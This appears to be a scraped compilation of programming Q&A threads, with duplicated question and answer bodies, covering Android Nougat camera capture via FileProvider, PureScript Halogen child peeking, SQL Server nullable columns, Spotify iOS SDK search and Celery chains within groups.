In my android application I have to take images using the camera when a button is clicked. It is working perfectly in all Android versions except Android 7 (Nougat). When I choose the camera option, the app is exiting even if the permissions are granted. I think the problem is in the camera-calling Intent. Below is my code.

camera = (ImageView) dialog.findViewById(R.id.camera);

camera.setOnClickListener(new View.OnClickListener() {
    @Override
    public void onClick(View v) {
        clickCamera();
        dialog.dismiss();
    }
});

private void clickCamera() { // 1 for icon and 2 for attachment
    if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
        ActivityCompat.requestPermissions(MainActivity.this, new String[] { Manifest.permission.CAMERA }, MY_REQUEST_CODE);
    } else {
        if (ActivityCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(MainActivity.this, new String[] { Manifest.permission.WRITE_EXTERNAL_STORAGE }, MY_REQUEST_CODE_STORAGE);
        } else {
            currentImageUri = getImageFileUri();
            Intent intentPicture = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
            intentPicture.putExtra(MediaStore.EXTRA_OUTPUT, currentImageUri); // set the image file name
            // start the image capture Intent
            startActivityForResult(intentPicture, REQUEST_CAMERA);  // 1 for REQUEST_CAMERA (icon) and 2 for REQUEST_CAMERA_ATT (attachment)
        }
    }
}

private static Uri getImageFileUri(){
    // Create a storage directory for the images
    // To be safe(r), you should check that the SD card is mounted
    // using Environment.getExternalStorageState() before doing this

    imagePath = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES), "MyProject");
    if (!imagePath.exists()) {
        if (!imagePath.mkdirs()) {
            return null;
        } else {
            // create new folder
        }
    }

    // Create an image file name
    String timeStamp = new SimpleDateFormat("yyyyMMdd_HHmmss").format(new Date());
    File image = new File(imagePath, "MyProject_" + timeStamp + ".jpg");

    if (!image.exists()) {
        try {
            image.createNewFile();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    // Create an File Uri
    return Uri.fromFile(image);
}

@Override
public void onRequestPermissionsResult(int requestCode, String permissions[], int[] grantResults) {
    switch (requestCode) {
        case MY_REQUEST_CODE: {
            // If request is cancelled, the result arrays are empty.
            if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
                // permission was granted, yay! Do the
                // contacts-related task you need to do.
                if (ActivityCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
                    ActivityCompat.requestPermissions(MainActivity.this, new String[] { Manifest.permission.WRITE_EXTERNAL_STORAGE }, MY_REQUEST_CODE_STORAGE);
                } else {
                    currentImageUri = getImageFileUri();
                    Intent intentPicture = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
                    intentPicture.putExtra(MediaStore.EXTRA_OUTPUT, currentImageUri); // set the image file name
                    // start the image capture Intent
                    startActivityForResult(intentPicture, REQUEST_CAMERA);
                }
            } else {
                // permission denied, boo! Disable the
                // functionality that depends on this permission.
                Toast.makeText(this, "Doesn't have permission... ", Toast.LENGTH_SHORT).show();
            }
            return;
        }
        case MY_REQUEST_CODE_STORAGE: {
            if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
                currentImageUri = getImageFileUri();
                Intent intentPicture = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
                intentPicture.putExtra(MediaStore.EXTRA_OUTPUT, currentImageUri); // set the image file name
                // start the image capture Intent
                startActivityForResult(intentPicture, REQUEST_CAMERA);
            } else {
                // permission denied, boo! Disable the
                // functionality that depends on this permission.
                Toast.makeText(this, "Doesn't have permission...", Toast.LENGTH_SHORT).show();
            }
            return;
        }
    }
}

What is the problem here for Nougat? Is it because of the Uri returned by getImageFileUri()?

Body:
Hey please follow  this thread as a reference. It will show you how to use File Provider when you set your targetSDK as 24  and change following. In your private static Uri getImageFileUri() method

Change this line

return Uri.fromFile(image);

to

FileProvider.getUriForFile(context, context.getApplicationContext().getPackageName() + ".provider", createImageFile());

Hope this will help you to solve your issue.

 For more go to -
Setting Up File Sharing - Offical documentation


问:
Purescript Halogen DeepPeek Child Instead of Grandchild
I'm trying to adapt this example https://github.com/slamdata/purescript-halogen/blob/v0.12.0/examples/deep-peek/src/Main.purs#L58 (relevant part copied below), but instead of peeking the grandchild I just want to peek the child, or in this case peekList. I also want to keep the slot type as a parameter in the peek function for peekList.

```<code>peek :: forall a. H.ChildF ListSlot ListQueryP a -> H.ParentDSL State (ListStateP g) Query ListQueryP g ListSlot Unit
peek = coproduct peekList peekTicker <<< H.runChildF

peekList :: forall a. ListQuery a -> H.ParentDSL State (ListStateP g) Query ListQueryP g ListSlot Unit
peekList _ =
  -- we're not actually interested in peeking on the list.
  -- instead of defining a function like this, an alternative would be to use
  -- `(const (pure unit))` in place of `peekList` in the `coproduct` function
  pure unit

peekTicker :: forall a. H.ChildF TickSlot TickQuery a -> H.ParentDSL State (ListStateP g) Query ListQueryP g ListSlot Unit
peekTicker (H.ChildF _ (Tick _)) = H.modify (\st -> { count: st.count + 1 })
peekTicker _ = pure unit
</code>```

How can I actually peek peekList without losing the slot parameter?

I've tried removing the H.runChildF:

```<code>peek = coproduct peekList (const (pure unit))
</code>```

and then adding back in the slot parameter to peekList:

```<code>peekList :: forall a. H.ChildF ListSlot ListQuery a -> H.ParentDSL State (ListStateP g) Query ListQueryP g ListSlot Unit
</code>```

But then in peek I get the error "Could not match type ChildF with type Coproduct while trying to match type ChildF ListSlot with type Coproduct (ChildF ListSlot ListQuery)"

If I just try to use peekList instead o peek, i get the error "Could not match type Coproduct ListQuery (ChildF TickSlot TickQuery) with type ListQuery while trying to match type ChildF ListSlot (Coproduct ListQuery (ChildF TickSlot TickQuery)) with type ChildF ListSlot ListQuery"

Any help would be really appreciated, thanks!

答:
I looked at the types closer and saw that the second argument to peekList is a Coproduct wrapping an Either where the Left value is the list query that I want to peek. So just pattern match on those and add peekList to the component's peek parameter. Also I had to change the type signature to use ListQueryP instead of ListQuery.

```<code>  peekList :: forall a. H.ChildF ListSlot ListQueryP a -> H.ParentDSL State (ListStateP g) Query ListQueryP g ListSlot Unit
  peekList (H.ChildF _ (Coproduct queryEi)) =
    case queryEi of
      Left (AddTicker a) -> pure unit
      _ -> pure unit
</code>```

Body:
I'm trying to adapt this example https://github.com/slamdata/purescript-halogen/blob/v0.12.0/examples/deep-peek/src/Main.purs#L58 (relevant part copied below), but instead of peeking the grandchild I just want to peek the child, or in this case peekList. I also want to keep the slot type as a parameter in the peek function for peekList.

peek :: forall a. H.ChildF ListSlot ListQueryP a -> H.ParentDSL State (ListStateP g) Query ListQueryP g ListSlot Unit
peek = coproduct peekList peekTicker <<< H.runChildF

peekList :: forall a. ListQuery a -> H.ParentDSL State (ListStateP g) Query ListQueryP g ListSlot Unit
peekList _ =
  -- we're not actually interested in peeking on the list.
  -- instead of defining a function like this, an alternative would be to use
  -- `(const (pure unit))` in place of `peekList` in the `coproduct` function
  pure unit

peekTicker :: forall a. H.ChildF TickSlot TickQuery a -> H.ParentDSL State (ListStateP g) Query ListQueryP g ListSlot Unit
peekTicker (H.ChildF _ (Tick _)) = H.modify (\st -> { count: st.count + 1 })
peekTicker _ = pure unit

How can I actually peek peekList without losing the slot parameter?

I've tried removing the H.runChildF:

peek = coproduct peekList (const (pure unit))

and then adding back in the slot parameter to peekList:

peekList :: forall a. H.ChildF ListSlot ListQuery a -> H.ParentDSL State (ListStateP g) Query ListQueryP g ListSlot Unit

But then in peek I get the error "Could not match type ChildF with type Coproduct while trying to match type ChildF ListSlot with type Coproduct (ChildF ListSlot ListQuery)"

If I just try to use peekList instead o peek, i get the error "Could not match type Coproduct ListQuery (ChildF TickSlot TickQuery) with type ListQuery while trying to match type ChildF ListSlot (Coproduct ListQuery (ChildF TickSlot TickQuery)) with type ChildF ListSlot ListQuery"

Any help would be really appreciated, thanks!

Body:
I looked at the types closer and saw that the second argument to peekList is a Coproduct wrapping an Either where the Left value is the list query that I want to peek. So just pattern match on those and add peekList to the component's peek parameter. Also I had to change the type signature to use ListQueryP instead of ListQuery.

  peekList :: forall a. H.ChildF ListSlot ListQueryP a -> H.ParentDSL State (ListStateP g) Query ListQueryP g ListSlot Unit
  peekList (H.ChildF _ (Coproduct queryEi)) =
    case queryEi of
      Left (AddTicker a) -> pure unit
      _ -> pure unit


问:
why can't I convert a field in sql server from not null to null
I have a db table that previously was not null (so every record had a value). I now want to make it nullable so its optional but it seems like SQL won't let you do this without deleting and recreating the table.

Why would it have this restriction if no data will be affected as I am going to a more lenient model (not a stricter one)?

答: You can stop the table designer from blocking you: Tools | Options | Designers | Table and Database Designers > uncheck "Prevent saving changes that require table re-creation".</p>


问:
Using UISearchController to search through an API?
I am currently developing an iOS application that utilizes the Spotify API to retrieve songs and play them. I am currently stuck on the search functionality.

I've successfully bridged the Spotify API (Obj-C) into my Swift project, and I've been able to create a basic search that will search/filter through an array of hardcoded data.

Now, I want to utilize the "performSearchWithQuery:queryType:session:callback:" method declared in the "SPTRequest" class but I'm not sure how I would go about doing so. I just want to search for songs and retrieve the artist name and song name.

If someone could give me some guidance as to how I would go about do so, I would highly appreciate it.

Thanks.

https://developer.spotify.com/ios-sdk-docs/Documents/Classes/SPTRequest.html#//api/name/performSearchWithQuery:queryType:session:callback:

答:
Use SPTSearch https://developer.spotify.com/ios-sdk-docs/Documents/Classes/SPTSearch.html

```<code>SPTSearch.perform(withQuery: "Some Query", queryType: .queryTypeTrack, accessToken: session.accessToken) { (error, listPage)

        guard let listPage = listPage as? SPTListPage else { return }
        guard let tracks = listPage.items as? [SPTPartialTrack] else { return }

        for track in tracks {
               // do something with the track
               print(track.name)
        }
}
</code>```

make sure you add "-all_load" to Other Linker Flags or else .items will be nil every time.

Body:
Use SPTSearch https://developer.spotify.com/ios-sdk-docs/Documents/Classes/SPTSearch.html

SPTSearch.perform(withQuery: "Some Query", queryType: .queryTypeTrack, accessToken: session.accessToken) { (error, listPage)

        guard let listPage = listPage as? SPTListPage else { return }
        guard let tracks = listPage.items as? [SPTPartialTrack] else { return }

        for track in tracks {
               // do something with the track
               print(track.name)
        }
}

make sure you add "-all_load" to Other Linker Flags or else .items will be nil every time.


问:
Celery: A chain within a group - partial signatures fail
Here is a very simple example of what I am trying to do:

```<code>@shared_task
def add(x, y):
    return x + y

@shared_task
def sub(x, y):
    return x - y

@shared_task
def mult(x, y):
    return x * y

c = group(
    chain(
        add.s(4), mult.s(2)
    ),
    sub.s(1)
)(3)
</code>```

This is supposed to give me the result [14, 2] but instead I am getting the following error message:

TypeError: add() takes exactly 2 arguments (1 given)

So it seems as if something is wrong with the partial signatures and that the initial 3 is not passed on to the functions in my chain. What is the problem here and is there any way to fix this?

答:
Any added arguments(3) will be prepended to the args in the signatures(task.s) only. They won't be propagated to primitives(like chain, group, chord).

If you know added arguments before hand, you can do

```<code>c = group(
    chain(
        add.s(4, 3), mult.s(2)
    ),
    sub.s(1)
)(3)
</code>```

Otherwise, you have to redesign your work-flow.

Body:
Here is a very simple example of what I am trying to do:

@shared_task
def add(x, y):
    return x + y

@shared_task
def sub(x, y):
    return x - y

@shared_task
def mult(x, y):
    return x * y

c = group(
    chain(
        add.s(4), mult.s(2)
    ),
    sub.s(1)
)(3)

This is supposed to give me the result [14, 2] but instead I am getting the following error message:

TypeError: add() takes exactly 2 arguments (1 given)

So it seems as if something is wrong with the partial signatures and that the initial 3 is not passed on to the functions in my chain. What is the problem here and is there any way to fix this?

Body:
Any added arguments(3) will be prepended to the args in the signatures(task.s) only. They won't be propagated to primitives(like chain, group, chord).

If you know added arguments before hand, you can do

c = group(
    chain(
        add.s(4, 3), mult.s(2)
    ),
    sub.s(1)
)(3)

Otherwise, you have to redesign your work-flow.